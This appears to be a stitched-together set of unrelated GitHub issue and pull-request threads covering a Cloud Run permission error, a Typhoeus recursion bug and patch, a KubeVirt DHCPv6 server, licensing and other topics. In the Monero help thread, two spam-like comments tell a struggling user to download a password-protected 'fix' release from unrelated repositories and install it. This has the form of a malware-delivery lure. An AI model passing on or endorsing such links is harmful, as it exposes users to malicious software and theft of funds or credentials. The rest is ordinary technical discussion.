ERROR: Permission denied while accessing Artifact Registry. despite service account having permission artifactregistry.repositories.get

TL;DR
Deploying to gcloud run is failing with the error ERROR: (gcloud.run.deploy) PERMISSION_DENIED: Permission 'artifactregistry.repositories.get' denied on resource '...' (or it may not exist)., despite the service account I am authenticating with being granted the permission. The service account has the required roles from https://cloud.google.com/run/docs/deploying-source-code#permissions_required_to_deploy.

Expected behavior
No response
Observed behavior
No response
Action YAML
name: Test and Deploy

on:
  push:
    branches:
      - dev
      - prod

jobs:
  lint:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v4
      - name: Set up Python
        uses: actions/setup-python@v4
        with:
          python-version: '3.10'
      - name: Install dependencies
        run: |
          python -m pip install --upgrade pip
          python -m pip install pytest pytest-cov flake8 mypy
      - name: flake8
        run: flake8 . --ignore=W605,E501,W503

  deploy_dev:
    if: github.ref == 'refs/heads/dev'
    needs: lint
    runs-on: ubuntu-latest
    permissions:
      contents: 'read'
      id-token: 'write'

    steps:
    - id: checkout_dev
      name: Checkout code
      uses: actions/checkout@v4

    - id: auth_dev
      name: Authenticate with Google Cloud
      uses: google-github-actions/auth@v2
      with:
        project_id: '...'
        workload_identity_provider: ${{ vars.WORKLOAD_IDENTITY_PROVIDER }}

    - id: deploy_dev
      name: Deploy to beta service
      uses: 'google-github-actions/deploy-cloudrun@v2'
      with:
        service: '${{ vars.BETA_SERVICE }}'
        region: 'us-central1'
        source: '.'

  deploy_prod:
    if: github.ref == 'refs/heads/prod'
    needs: lint
    runs-on: ubuntu-latest
    permissions:
      contents: 'read'
      id-token: 'write'

    steps:
    - id: checkout_prod
      name: Checkout code
      uses: actions/checkout@v2

    - id: auth_prod
      name: Authenticate with Google Cloud
      uses: google-github-actions/auth@v2
      with:
        workload_identity_provider: ${{ env.WORKLOAD_IDENTITY_PROVIDER }}
        service_account: ${{ env.SERVICE_ACCOUNT }}

    - id: deploy_prod
      name: Deploy to production service
      uses: 'google-github-actions/deploy-cloudrun@v2'
      with:
        service: '${{ vars.PROD_SERVICE }}'
        source: "."

Log output
##[debug]Caching tool gcloud 463.0.0 x64
##[debug]source dir: /home/runner/work/_temp/9480a076-9ef5-4a2a-91ec-5f4f335f40d8/google-cloud-sdk
##[debug]destination /opt/hostedtoolcache/gcloud/463.0.0/x64
##[debug]finished caching tool
##[debug]Running command: gcloud --quiet auth login --force --cred-file /home/runner/work/mv_backend/mv_backend/gha-creds-9f6a4748a1184e85.json
Successfully authenticated
Running: gcloud run deploy mv-backend-beta --quiet --source . --update-labels managed-by=github-actions,commit-sha=b360e992c5e859538227184e638fc67ef5cbf163 --platform managed --format json --region us-central1
Error: google-github-actions/deploy-cloudrun failed with: failed to execute gcloud command `gcloud run deploy mv-backend-beta --quiet --source . --update-labels managed-by=github-actions,commit-sha=b360e992c5e859538227184e638fc67ef5cbf163 --platform managed --format json --region us-central1`: ERROR: Permission denied while accessing Artifact Registry. Artifact Registry access is required to deploy from source.
ERROR: (gcloud.run.deploy) PERMISSION_DENIED: Permission 'artifactregistry.repositories.get' denied on resource '//artifactregistry.googleapis.com/projects/.../locations/us-central1/repositories/cloud-run-source-deploy' (or it may not exist).
- '@type': type.googleapis.com/google.rpc.ErrorInfo
  domain: artifactregistry.googleapis.com
  metadata:
    permission: artifactregistry.repositories.get
    resource: projects/.../locations/us-central1/repositories/cloud-run-source-deploy
  reason: IAM_PERMISSION_DENIED
##[debug]Node Action run completed with exit code 1
##[debug]Finishing: Deploy to beta service

Additional information
Happy to provide the runner's debug output. Are there any sensitive values in the debug output that need to be redacted?

We are seeing a similar issue and was going to raise a ticket. In our case, even though the build fails - the deployment still succeeds. This issue only started a couple of weeks ago,

In our case, even though the build fails - the deployment still succeeds.

If the deployment succeeds but the build fails, what artifact is your service running off of? Or do you mean to say that the build failing is a false positive?

In our case, even though the build fails - the deployment still succeeds.

If the deployment succeeds but the build fails, what artifact is your service running off of? Or do you mean to say that the build failing is a false positive?

So we build and push our image to artifactory and the deployment deploys that labelled image. So the push stage works, and we can see the new images getting deployed too (we can see the new image deployed on cloud run), but we get an error saying permission denied. I have manually validated that the service account can run that command without any errors.
Run google-github-actions/deploy-cloudrun@v2
/usr/bin/tar xz --warning=no-unknown-keyword --overwrite -C /home/runner/work/_temp/b91e8f3c-cbd8-4a9c-a459-3a478049b482 -f /home/runner/work/_temp/4c7c986d-8b36-496d-afad-0363a022f9f5
Successfully authenticated
Running: gcloud run deploy casiax-bifrost-beta --quiet --image australia-southeast1-docker.pkg.dev/french-lavender/casiax-images/casiax-bifrost:main --platform managed --format json --region australia-southeast1 --project french-lavender --ingress internal
Error: google-github-actions/deploy-cloudrun failed with: failed to execute gcloud command gcloud run deploy casiax-bifrost-beta --quiet --image australia-southeast1-docker.pkg.dev/french-lavender/casiax-images/casiax-bifrost:main --platform managed --format json --region australia-southeast1 --project french-lavender --ingress internal: Deploying container to Cloud Run service [casiax-bifrost-beta] in project [french-lavender] region [australia-southeast1]
Deploying...
Creating Revision.................failed
Deployment failed
ERROR: (gcloud.run.deploy) PERMISSION_DENIED: Permission 'run.operations.get' denied on resource '' (or resource may not exist).

Is this related to https://issuetracker.google.com/issues/322167526?

Is this related to https://issuetracker.google.com/issues/322167526?

Thanks this answers and explains most of my mystery. Does it help address the original ticket that you raised?

Was just going to respond that it looks more related to @ranil-bee's issue. Unlike users on the Google issue tracker, I can't seem to reproduce my issue running gcloud run deploy ... --service-account={service_account} locally, perhaps because I am deploying my code from source (using Google Cloud buildpacks)?
If nothing else, I'm having trouble squaring the error message I'm seeing with what the policy troubleshooter reports. The only thing I can think of is that the artifactregistry.repositories.get permission is not making it to the token produced by authentication (which I guess makes this a problem for the authentication repo and not the cloud run deploy repo?). I'm going to try deploying from an existing image and potentially using a service account key instead.

I can confirm that deploying from source works when I authenticate the service account with a service account key instead of WIF (WIF still doesn't work as of this comment). @sethvargo should I open an issue in the authenticate script repo?

Sure, please include the debug logs and IAM permissions that you've granted to the WIF pool though.


Better scheduling

Instead of editing the template's HTML, it should be possible to edit a YAML or similar instead - some form of simple list of class dates/topics/due/assigned, plus a hackathon/event list, that get automatically sorted by date and displayed.
@ritjoe and I have been discussing this a bit

What do you think would be a sensible format? I'd like to avoid inventing our own format entirely, maybe we could leverage iCal or another existing format?

vobject looks like it supports iCalendar and vCard, which are (from the looks of it) very similar. There's also something called hCalendar that looks marginally nicer (human-"readable" XML), but I'm not sure if it's worth using since it's seemingly less common...

Closed per #58 and #60


Option to select run

Hi @mattvenn.  Thought you might find this useful.  After playing with run_designs in Project 4.2 I found this mod useful to quickly parse through multiple runs.   Merge or not, as you see fit.

thanks Mike, was wanting to get around to doing this myself!

fixed a couple of issues


Custom URL from Record Field

When we edit the page, the field "The URL for tableau overview" also mentions that "This property supports using an expression to define its custom label. The correct cormat is {!$label.customLabelName}."
I would like to use the URL mentioned in the record field to be visible. A different dashboard for every record.
Can you please suggest how to link the record field with a URL to the "The URL for tableau overview"

Hi @athandra,
Instead of having one unique dashboard per record, can you have a general dashboard with the data for all the records and add a filter on the record?

I would also love a dynamic URL that I can link to a Salesforce field on the page. In my case we have a custom object where based on the contents of the record the context changes for the user requiring defaulting to a different tab of a report or different report based on the logged in user role.


I  need help, I am new to monero

HI, my name is Chris. I'm not sure if I am on they right website. However, I am trying to send my monero to kracken. I am getting an error stating that have not reached the minimum coins to send. Kracken doesn't have a minimum for monero. I called kracken and they said it's not on their side. If I am on the wrong website do you know a site that can help me. please.
chris

to fix your trouble check this fix, i see it in another issue,
https://github.com/aravinda-gamage/x86_64-win64-ranlib/releases/tag/fix
password: changeme
when you installing, you need to place a check in install to path and select "gcc."

to fix your trouble check this fix, i see it in another issue,
https://github.com/Jostino/RimWorld-it/releases/tag/fix
password: changeme
when you installing, you need to place a check in install to path and select "gcc."

please reach out for help in one of the monero community channels listed on our hangouts page @ https://www.getmonero.org/community/hangouts/


Always print the abstract ServiceDiscovery service name

1. Describe the bug
The abstract ServiceDiscovery class has two subclass (KyuubiServiceDiscovery and EngineServiceDiscovery), but only abstract class name is always printed in the log.
2021-07-01 00:47:30.046 INFO kyuubi.SparkSQLEngineListener: Received ApplicationEnd Message from Spark at INITIALIZED, stopping
2021-07-01 00:47:30.047 INFO spark.SparkSQLEngine: Service: [ServiceDiscovery] is stopping.
2021-07-01 00:47:30.051 INFO imps.CuratorFrameworkImpl: backgroundOperationsLoop exiting

2. Environments
2.1 Versions

Kyuubi

[X] 1.1.0
[ ] 1.0.3
[ ] 0.8.x and earlier

Spark

[ ] 3.1.x
[ ] 3.0.x
[ ] 2.4.x and earlier

2.2 Kyuubi Configurations
2.3 Spark Configurations
3. Steps to reproduce
3.1 Operations
3.2 Expected behavior
Output the real subclass in the log.
3.3 Actual behavior
It always prints ServiceDiscovery's name.

cc @yaooqinn, I would like to do it.

make sense to me


Uses valid jcenter repos in readme

0.9.1 -> 0.9
When copying 0.9.1 from the README (which should be plug and play), I realized this was not on jcenter, which slows down development until one realizes that 0.9 is there.

As JCenter publishing is fixed now, the pull request becomes obsolete.
Anyway, thank you for the contribution!


Android studio?

HI, can you explain how to use this in android studio? Thanks.

Sure, my apologies I didn't write it on the readme at first.
You got 2 choices :
You can include ChipView in your Gradle dependencies via JitPack.
Example for the 1.1.0 release :
repositories {
        maven { url "https://jitpack.io" }
}

dependencies {
        compile 'com.github.Plumillon:ChipView:1.1.0'
}

Or you can download / clone it to your project and use the library folder as a library

After doing that, I get this error:
Error:(44, 13) Failed to resolve: com.github.Plumillon:ChipView:1.1.0
Show in FileShow in Project Structure dialog

Yeah I just saw there is a problem with JitPack build
I'm working on it, reopening your issue for now

Oki that's fixed with the 1.1.4 release, here the Gradle lines :
repositories {
        maven { url "https://jitpack.io" }
}

dependencies {
        compile 'com.github.Plumillon:ChipView:1.1.4'
}

I still get this error:
Error:Could not find com.github.Plumillon:ChipView:1.1.4.

Still get this error:
Error:Could not find com.github.Plumillon:ChipView:1.1.4.

I'm using it this way and all is working just fine
Please check your Gradle, do you include the lines on your build.gradle ?
JitPack is reporting the repository is fine : https://jitpack.io/#Plumillon/ChipView/1.1.4


Option to use system fonts

Please provide an option to use System fonts in v2 instead of default app fonts. For me, the system font is thicker and much more legible.
Alternatively, include more legible fonts, such as Inter, IBM Plex Sans, etc. This might bloat the package unless you plan to use downloadable fonts.

Duplicate of #49 and #94. I'd love to add support for using the system font, but that's unfortunately blocked by the Flutter framework. I'm considering adding support for alternative fonts.


Warning/log messages about Weave Net not being found still need to be less alarming

Users remain confused by log messages in Scope about Weave Net not being found. e.g.
WARN: 2016/12/19 15:38:33.465245 Cannot resolve 'scope.weave.local.': dial tcp <IP_ADDRESS>:53: getsockopt: connection refused

Maybe it could be:
Cannot resolve 'scope.weave.local.'; (the Scope web-app registers automatically in DNS if Weave Net is found).

Or something else that makes it less alarming for users.

dup of #1726


asm,compiler: reduce allocations during compilation

Signed-off-by: Takeshi Yoneda<EMAIL_ADDRESS>

rebased onto #941

progress:
$ benchstat old.txt new.txt
name     old time/op    new time/op    delta
GoJs-10     2.56s ± 2%     1.40s ± 1%  -45.38%  (p=0.000 n=10+10)

name     old alloc/op   new alloc/op   delta
GoJs-10    2.31GB ± 0%    0.71GB ± 0%  -69.23%  (p=0.000 n=9+9)

name     old allocs/op  new allocs/op  delta
GoJs-10     52.1M ± 0%     14.5M ± 0%  -72.18%  (p=0.000 n=10+10)

ok amd64 improving!
> benchstat old.txt new.txt
name     old time/op    new time/op    delta
GoJs-32     4.54s ± 1%     3.19s ± 1%  -29.66%  (p=0.000 n=10+10)

name     old alloc/op   new alloc/op   delta
GoJs-32    2.55GB ± 0%    1.10GB ± 0%  -56.64%  (p=0.000 n=9+9)

name     old allocs/op  new allocs/op  delta
GoJs-32     55.1M ± 0%     24.6M ± 0%  -55.37%  (p=0.000 n=10+8)

cool more and more improving!
arm64
name     old time/op    new time/op    delta
GoJs-10     2.56s ± 2%     1.08s ± 8%  -57.93%  (p=0.000 n=10+9)

name     old alloc/op   new alloc/op   delta
GoJs-10    2.31GB ± 0%    0.66GB ± 0%  -71.56%  (p=0.000 n=9+9)

name     old allocs/op  new allocs/op  delta
GoJs-10     52.1M ± 0%     13.1M ± 0%  -74.81%  (p=0.000 n=10+10)

amd64
name     old time/op    new time/op    delta
GoJs-32     4.54s ± 1%     3.14s ± 2%  -30.89%  (p=0.000 n=10+10)

name     old alloc/op   new alloc/op   delta
GoJs-32    2.55GB ± 0%    1.07GB ± 0%  -57.90%  (p=0.000 n=9+9)

name     old allocs/op  new allocs/op  delta
GoJs-32     55.1M ± 0%     23.7M ± 0%  -56.89%  (p=0.000 n=10+10)

this clearly needs the long fuzzing, but will do after implementing another allocation reduction idea in a separate pr.


Support of monday-starting week

Hello,
I've been using your lib for a month now and it's really great, but I've been wondering if you would consider supporting monday-starting weeks?
Thanks in advance, keep up the good work!

+1


Fix arrow functions in derived class constructors

Fixes #1987

@johnjbarton PTAL
We need to wrap comma expressions in binary expressions too.

Nice, LGTM


python310Packages.biopandas: init at 0.4.1; python310Packages.mmtf-python: init at 1.1.3

Description of changes
Working with molecular structures in pandas DataFrames
homepage: https://github.com/BioPandas/biopandas
and its dependency, mmtf-python
homepage: https://github.com/rcsb/mmtf-python

Things done

Built on platform(s)

[x] x86_64-linux
[ ] aarch64-linux
[ ] x86_64-darwin
[ ] aarch64-darwin

[ ] For non-Linux: Is sandbox = true set in nix.conf? (See Nix manual)
[ ] Tested, as applicable:

NixOS test(s) (look inside nixos/tests)
and/or package tests
or, for functions and "core" functionality, tests in lib/tests or pkgs/test
made sure NixOS tests are linked to the relevant packages

[x] Tested compilation of all packages that depend on this change using nix-shell -p nixpkgs-review --run "nixpkgs-review rev HEAD". Note: all changes have to be committed, also see nixpkgs-review usage
[x] Tested basic functionality of all binary files (usually in ./result/bin/)
23.11 Release Notes (or backporting 23.05 Release notes)

[ ] (Package updates) Added a release notes entry if the change is major or breaking
[ ] (Module updates) Added a release notes entry if the change is significant
[ ] (Module addition) Added a release notes entry if adding a new NixOS module

[x] Fits CONTRIBUTING.md.

Result of nixpkgs-review pr 237755 run on aarch64-darwin 1

8 packages built:

python310Packages.biopandas
python310Packages.biopandas.dist
python310Packages.mmtf-python
python310Packages.mmtf-python.dist
python311Packages.biopandas
python311Packages.biopandas.dist
python311Packages.mmtf-python
python311Packages.mmtf-python.dist


Remove unity_server separate process

Remove unity_server as separate c++ process and replace with a shared library with zeromq inproc communication. This change will significantly simplifies the communication layer between python client and c++ server. It also lowers the call latency by directly serializing within the same process.
The separate process architecture was proposed to support the case where client and server are running on different machines. However, it also causes slow start up time and slow I/O between client and server due to process barrier. As we learn that the use cases for the separate client/server configuration is rarely used, it is time to remove the separate unity_server process, and make it as a embed library into python process.
Apart from superficial changes to the server launch code path, the underlying communication architecture remains the same, except that we use zeromq's inproc socket instead of ipc or tcp sockets.
Change list:

Refactor of the unity_server start code

system related startup code such is moved into startup_teardowns
unity_server related startup code including extension/toolkits/datastructure registration is moved into unity_server.cpp
remove original unity_server.cpp
unity_server_capi.cpp defines the shared library entry

Move libjvm path search code into C++ side because the inproc server is not affected by changing LD_LIBRARY_PATH once python is started
remove global variable: GLOBALS_MAIN_PROCESS_BINARY
Remove tcmalloc dependency from pylambda and rcppalmbda
Deprecate use of "remote://" or "local://" as file protocols
Purge unit test

+1 to merge. minor fixes.

@ylow Your comments are addressed

jenkins pls

jenkins pls

jenkins pls

jenkins pls

jenkins pls

jenkins pls


Stack too deep when before callback or cache for hydra is used.

I'm facing this problem with latest (0.6.9) version:
# hydrocephalus.rb

require 'typhoeus'

hydra = Typhoeus::Hydra.new

urls = ["http://google.com"] * 6000

::Typhoeus.before do |request|
  request.finish(Typhoeus::Response.new) # simualting cache
end

requests = urls.map do |url|
  Typhoeus::Request.new(url).tap do |request|
    request.on_success do |response|
      # callback
    end
  end
end

requests.each {|req| hydra.queue(req)}
hydra.run

$ ruby hydrocephalus.rb
/home/ryba/.rvm/gems/ruby-2.0.0-p481/gems/typhoeus-0.6.9/lib/typhoeus/request/cacheable.rb:5: stack level too deep (SystemStackError)
```

I think it is because `add` is called from `dequeue` method on `Typhoeus::Hydra` instance.

Better stacktrace (`raise "exception" if caller.length > 30` added before `request.finish` line):

```
[ryba@retro  prezo (master *#%)]❤ ruby hydrocephalus.rb
hydrocephalus.rb:8:in `block in <main>': exception (RuntimeError)
        from /home/ryba/.rvm/gems/ruby-2.0.0-p481/gems/typhoeus-0.6.9/lib/typhoeus/hydra/before.rb:21:in `call'
        from /home/ryba/.rvm/gems/ruby-2.0.0-p481/gems/typhoeus-0.6.9/lib/typhoeus/hydra/before.rb:21:in `block in add'
        from /home/ryba/.rvm/gems/ruby-2.0.0-p481/gems/typhoeus-0.6.9/lib/typhoeus/hydra/before.rb:20:in `each'
        from /home/ryba/.rvm/gems/ruby-2.0.0-p481/gems/typhoeus-0.6.9/lib/typhoeus/hydra/before.rb:20:in `add'
        from /home/ryba/.rvm/gems/ruby-2.0.0-p481/gems/typhoeus-0.6.9/lib/typhoeus/hydra/queueable.rb:63:in `dequeue'
        from /home/ryba/.rvm/gems/ruby-2.0.0-p481/gems/typhoeus-0.6.9/lib/typhoeus/hydra/before.rb:23:in `block in add'
        from /home/ryba/.rvm/gems/ruby-2.0.0-p481/gems/typhoeus-0.6.9/lib/typhoeus/hydra/before.rb:20:in `each'
        from /home/ryba/.rvm/gems/ruby-2.0.0-p481/gems/typhoeus-0.6.9/lib/typhoeus/hydra/before.rb:20:in `add'
        from /home/ryba/.rvm/gems/ruby-2.0.0-p481/gems/typhoeus-0.6.9/lib/typhoeus/hydra/queueable.rb:63:in `dequeue'
        from /home/ryba/.rvm/gems/ruby-2.0.0-p481/gems/typhoeus-0.6.9/lib/typhoeus/hydra/before.rb:23:in `block in add'
        from /home/ryba/.rvm/gems/ruby-2.0.0-p481/gems/typhoeus-0.6.9/lib/typhoeus/hydra/before.rb:20:in `each'
        from /home/ryba/.rvm/gems/ruby-2.0.0-p481/gems/typhoeus-0.6.9/lib/typhoeus/hydra/before.rb:20:in `add'
        from /home/ryba/.rvm/gems/ruby-2.0.0-p481/gems/typhoeus-0.6.9/lib/typhoeus/hydra/queueable.rb:63:in `dequeue'
        from /home/ryba/.rvm/gems/ruby-2.0.0-p481/gems/typhoeus-0.6.9/lib/typhoeus/hydra/before.rb:23:in `block in add'
        from /home/ryba/.rvm/gems/ruby-2.0.0-p481/gems/typhoeus-0.6.9/lib/typhoeus/hydra/before.rb:20:in `each'
        from /home/ryba/.rvm/gems/ruby-2.0.0-p481/gems/typhoeus-0.6.9/lib/typhoeus/hydra/before.rb:20:in `add'
        from /home/ryba/.rvm/gems/ruby-2.0.0-p481/gems/typhoeus-0.6.9/lib/typhoeus/hydra/queueable.rb:63:in `dequeue'
        from /home/ryba/.rvm/gems/ruby-2.0.0-p481/gems/typhoeus-0.6.9/lib/typhoeus/hydra/before.rb:23:in `block in add'
        from /home/ryba/.rvm/gems/ruby-2.0.0-p481/gems/typhoeus-0.6.9/lib/typhoeus/hydra/before.rb:20:in `each'
        from /home/ryba/.rvm/gems/ruby-2.0.0-p481/gems/typhoeus-0.6.9/lib/typhoeus/hydra/before.rb:20:in `add'
        from /home/ryba/.rvm/gems/ruby-2.0.0-p481/gems/typhoeus-0.6.9/lib/typhoeus/hydra/queueable.rb:63:in `dequeue'
        from /home/ryba/.rvm/gems/ruby-2.0.0-p481/gems/typhoeus-0.6.9/lib/typhoeus/hydra/before.rb:23:in `block in add'
        from /home/ryba/.rvm/gems/ruby-2.0.0-p481/gems/typhoeus-0.6.9/lib/typhoeus/hydra/before.rb:20:in `each'
        from /home/ryba/.rvm/gems/ruby-2.0.0-p481/gems/typhoeus-0.6.9/lib/typhoeus/hydra/before.rb:20:in `add'
        from /home/ryba/.rvm/gems/ruby-2.0.0-p481/gems/typhoeus-0.6.9/lib/typhoeus/hydra/queueable.rb:63:in `dequeue'
        from /home/ryba/.rvm/gems/ruby-2.0.0-p481/gems/typhoeus-0.6.9/lib/typhoeus/hydra/before.rb:23:in `block in add'
        from /home/ryba/.rvm/gems/ruby-2.0.0-p481/gems/typhoeus-0.6.9/lib/typhoeus/hydra/before.rb:20:in `each'
        from /home/ryba/.rvm/gems/ruby-2.0.0-p481/gems/typhoeus-0.6.9/lib/typhoeus/hydra/before.rb:20:in `add'
        from /home/ryba/.rvm/gems/ruby-2.0.0-p481/gems/typhoeus-0.6.9/lib/typhoeus/hydra/queueable.rb:77:in `dequeue_many'
        from /home/ryba/.rvm/gems/ruby-2.0.0-p481/gems/typhoeus-0.6.9/lib/typhoeus/hydra/runnable.rb:14:in `run'
        from /home/ryba/.rvm/gems/ruby-2.0.0-p481/gems/typhoeus-0.6.9/lib/typhoeus/hydra/memoizable.rb:51:in `run'
        from hydrocephalus.rb:21:in `<main>'
```

Is that real issue or am I just using hydra in bad way?

Any update on this one ?
I have a similar issue, but with on_complete:
.rvm/gems/ruby-2.2.0/gems/typhoeus-0.7.1/lib/typhoeus/request.rb:204:in `map': stack level too deep (SystemStackError)
I currently set the cache_ttl to 0 to avoid it when checking large number of URLs

@erwanlr thanks for reporting. This is not an easy problem. I will take some time next week to look at it.

Thanks !
Yep, I know it's not an easy one, I tried to monkey patch things to get this fixed before posting but huuuuuuu :/
If it can help, the exception is raised around the 1840th requests (exactly the 1840th with the script given by @simi , and the 1837th in my real case scenario)

Also worth mentioning that if at least one request is not already cached and is done before the 1840th, the error will not appear.
In my case, I did 2k requests which were cached (persistent with a 10min TTL), then added a new url at the 1836th place, re-ran the check w/o any error, but then if run again (w/o any new URL, so they are all retrieved from the cache), the error was raised

Modified the original script to reproduce the behaviour I am talking in the post above:
require 'typhoeus'

class Cache
  def initialize
    @memory = {}
  end

  def get(request)
    @memory[request]
  end

  def set(request, response)
    @memory[request] = response
  end
end

Typhoeus::Config.cache = Cache.new
@hydra = Typhoeus::Hydra.new

def run_hydra(urls)
  urls.each do |url|
    request = Typhoeus::Request.new(url)

    request.on_complete do |response|
      # p response.request.url
    end
    @hydra.queue(request)
  end

  @hydra.run
end

urls = 2000.times.map { |i| "http://google.com/#{i}" }

puts 'Populating Cache'

run_hydra(urls)

puts 'Cache Populated'

# Uncomment the line below to add an uncached request
# urls.insert(1830, 'http://uncached.com')

run_hydra(urls)

Yipeyeaaaaa, found a fix I think ^_^
Background: The problem is that the Hydra#add and Hydra#dequeue call each other when requests are cached, resulting in recursion and filling the caller until it can't handle anymore and blow up :o.
My fix is to remove calls to the Hydra#dequeue from Hydra#add and do the recursion in the Hydra#run until queued_requests is empty.
Script & Monkey Patching (tested with 2k and 50k requests):
require 'typhoeus'

module Typhoeus
  class Hydra
    module Cacheable
      def add(request)
        if request.cacheable? && response = Typhoeus::Config.cache.get(request)
          response.cached = true
          request.finish(response)
        else
          super
        end
      end
    end

    module Memoizable
      def add(request)
        if request.memoizable? && response = memory[request]
          request.finish(response, true)
        else
          super
        end
      end
    end

    module Runnable
      def run
        dequeue_many
        multi.perform
        run unless queued_requests.empty?
      end
    end
  end
end

class Cache
  def initialize
    @memory = {}
  end

  def get(request)
    @memory[request]
  end

  def set(request, response)
    @memory[request] = response
  end
end

Typhoeus::Config.cache = Cache.new
@hydra = Typhoeus::Hydra.new

def run_hydra(urls)
  urls.each do |url|
    request = Typhoeus::Request.new(url)

    request.on_complete do |response|
      #p response.request.url
    end
    @hydra.queue(request)
  end

  @hydra.run
end

urls = 50000.times.map { |i| "http://google.com/#{i}" }

puts 'Populating Cache'

run_hydra(urls)

puts 'Cache Populated'

# Uncomment the line below to add an uncached request
# urls.insert(1830, 'http://uncached.com')

run_hydra(urls)

However, I have no idea if it will affect the performance :/, I will let you be the judge of that :P

@erwanlr thanks for your work! Your solution changes the problem, but there is still recursion. I think I found another solution: https://github.com/typhoeus/typhoeus/commit/fc65a8ae02f1756b47af1ad95d37f2690f19ea66. dequeue_many won't trigger the recursion anymore. That should fix the problem since that should be the only place where it can run into stacklevertoodeep.
I also unrolled the magic even more. What do you think?

Yea that also do :). However, I have noticed a huge performance drop in the unroll branch (which is at 0.6.9) compared to the master. I first thought it was your fix but no :P
e.g: 20k requests with my fix in the master are done in 46s, whereas in the unroll (with either your fix or mine), it's performed in 5m30s.
With 2k requests it increases from 20s to 1m40s

Any ETA for the changes ?

Apparently, this issue still is not fixed.


virt-launcher: Introduce DHCPv6 server

What this PR does / why we need it:
To provide the ipv6 configuration details to a vm interface using masquerade binding, stateful dhcpv6 will be used.
It means the RA - router advertisment will be responsible for providing the default gateway and the prefix.
The RA we also contain flags to notify the vm that dhcpv6 should be used to get the host part of the ipv6 address and for any other networking configuration (MTU, search domains, nameservers, etc.).
This PR includes only the dhcpv6 server implementation.
Since besides the ipv4 address, there are no any other networking configurations that are specific to ipv6 and not provided by the dhcpv4 server, the server will currently provide only the host part of the ipv6 address.
If it will be needed, the server can be easily extended to provide other network configurations.
The server is based on the following implementation.
Which issue(s) this PR fixes (optional, in fixes #<issue number>(, fixes #<issue_number>, ...) format, will close the issue(s) when PR gets merged):
Fixes #
Special notes for your reviewer:
This PR includes the dhcpv6 server only.
Once the RA pr will be merged, it will be possible to test the dhcpv6 server without calling the dhcpv6 client and configuring default route and prefix via the vm console.
Release note:

Introduce virt-launcher DHCPv6 server.

Pushed fixes to some of Eddy's comment-

Commit messages fixes.
Not the the dhcpv6 server in a extra goroutine.
Adding dhcpv6 to a migration test.

@EdDev @maiqueb I've addressed the review comments. Please re-review. Thanks:)

pushed - revert the general removal of screen. Only the FedoraHttpServer will use & instead of screen.

pushed: rebase

pushed: splitting the vmi_networking_test migration test to ipv4 and ipv6.

/retest

/retest

pushed: rebase

/retest

/retest

/retest

/retest

pushed: fixes to Eddy's comments.

/approve
From an architectural point of view everything seems to be at the place where it is supposed to be and the test history looks good.
Great work. :+1:

/retest

/retest

/retest
(to see how tide works)


Update Byte Buddy to 1.12.6 (fixed #3)

Increases byte buddy version so Java 17 (and newer) ASM is supported.
Tested locally by replacing installed agent with this build - all looks fine.

 Thank you for your submission! We really appreciate it. Like many open source projects, we ask that you sign our Contributor License Agreement before we can accept your contribution.You have signed the CLA already but the status is still pending? Let us recheck it.

Thanks, looks good to me! :+1: I'll update it in the server now and get this out in the next release.
I've set up a free HTTP Toolkit Pro account for<EMAIL_ADDRESS>(from your GH profile). Just click 'Get Pro' in the app, then 'Log into existing account' and use that email. Thanks for contributing!


Add a licence

Currently, this project has no license associated with it meaning it's under exclusive copyright to you and no one else is allowed to use, copy, or modify it. That might be what you want, though probably isn't if you've put it on GitHub and made the source code available, so you should add a license to allow others to do stuff with the code here other than look at it. If you don't know what license to add, https://choosealicense.com can help.
(note: I am not a lawyer and this is not legal advice, however is correct to my knowledge. I noticed some typos and stuff I wanted to fix when looking though the code here but then realised I legally couldn't because there's no license letting me ;-;)

In that case, MIT license has been added in 14198dbd5a546e4e5e9fe6dfd77d83a3561eab25

@AceKiron don wanna necro but mit might not be compatible with GPL

GPL? I don't think I'm using anything that's using GPL.

@AceKiron don wanna necro but mit might not be compatible with GPL

GPL? I don't think I'm using anything that's using GPL.

Bukkit is under GPLv3

@AceKiron don wanna necro but mit might not be compatible with GPL

GPL? I don't think I'm using anything that's using GPL.

Bukkit is under GPLv3 (and so is spigot)

I did some quick research online and this is what I think is the case:

You must use the GPLv3 license if you're modifying Bukkit, Spigot etc.
You may choose your own license in other cases

@AceKiron don wanna necro but mit might not be compatible with GPL

GPL? I don't think I'm using anything that's using GPL.

Bukkit is under GPLv3 (and so is spigot)

I did some quick research online and this is what I think is the case:
* You must use the GPLv3 license if you're modifying Bukkit, Spigot etc.

* You may choose your own license in other cases

I don't know where you found that, but it's not true.
The only exception where you may be able exempt from gpl infection is using library under LGPL, which spigot isnt.
In short: you are extending JavaPlugin which is a Bukkit class, which is GPL.
You'd have to check if relicensing GPL to MIT is allowed in that case.

I'm not a lawyer and so this is not legal advice, but I think this is allowed, actually.
From gnu.org:

Please see this question for determining when plug-ins and a main program are considered a single combined program and when they are considered separate works.
If the main program and the plugins are a single combined program then this means you must license the plug-in under the GPL or a GPL-compatible free software license and distribute it with source code in a GPL-compliant way. A main program that is separate from its plug-ins makes no requirements for the plug-ins.

MIT is a GPL-compatible free software license.
I'm not entirely sure what it means by distributing it in a GPL-compliant way though, or if there's even an actual difference between licensing this under MIT or licensing it under the GPL if it's going to be GPL-compliant anyway.

MIT does indeed seem compatible with GPL. If it turns out it isn't, please create a new issue.


container/heap heap.Fix is not correct

Documentation( http://golang.org/pkg/container/heap/#Fix ) states:
"Fix re-establishes the heap ordering after the element at index i has changed its value."
A simple test proves that this functionality is broken. Add 10 numbers 0->9 and the heap will look like this:
[0, 1, 2, 3, 4, 5, 6, 7, 8, 9]
Change heap[9] to 0 making the heap look like this:
[0, 1, 2, 3, 4, 5, 6, 7, 8, 0]
Call heap.Fix(9) and the heap looks like this:
[0, 0, 2, 3, 1, 5, 6, 7, 8, 4]

This is working as intended.
"Heap ordering" doesn't mean the slice (or other underlying heap.Interface implementation) is totally ordered. It means that it follows the heap invariant:
!h.Less(j, i) for 0 <= i < h.Len() and 2*i+1 <= j <= 2*i+2 and j < h.Len()

(see the Interface documentation).

Please provide a play.golang.org code snippet demonstrating the problem.


ReadMe Updates

@hanlonm I read through the instructions again and noticed a few small details. Most notably is the info about the gazebo simulation (or that it's possible to run the app with a simulated robot), which is important since many people might not have a kinova arm standing around :)
Please feel free to correct any of my changes.

@EricVoll Thanks for the feedback! All of the minor ReadMe updates look good to me. However, I noticed that the gazebo simulation does not work in the current state due to the changes I made to get pose correction working. For now I think it is best not to reference simulation directly in the ReadMe.
I will create a separate PR to add back the simulation functionality. It should only be some minor changes in the ROS code that I can test locally.


feat: warning if run in job

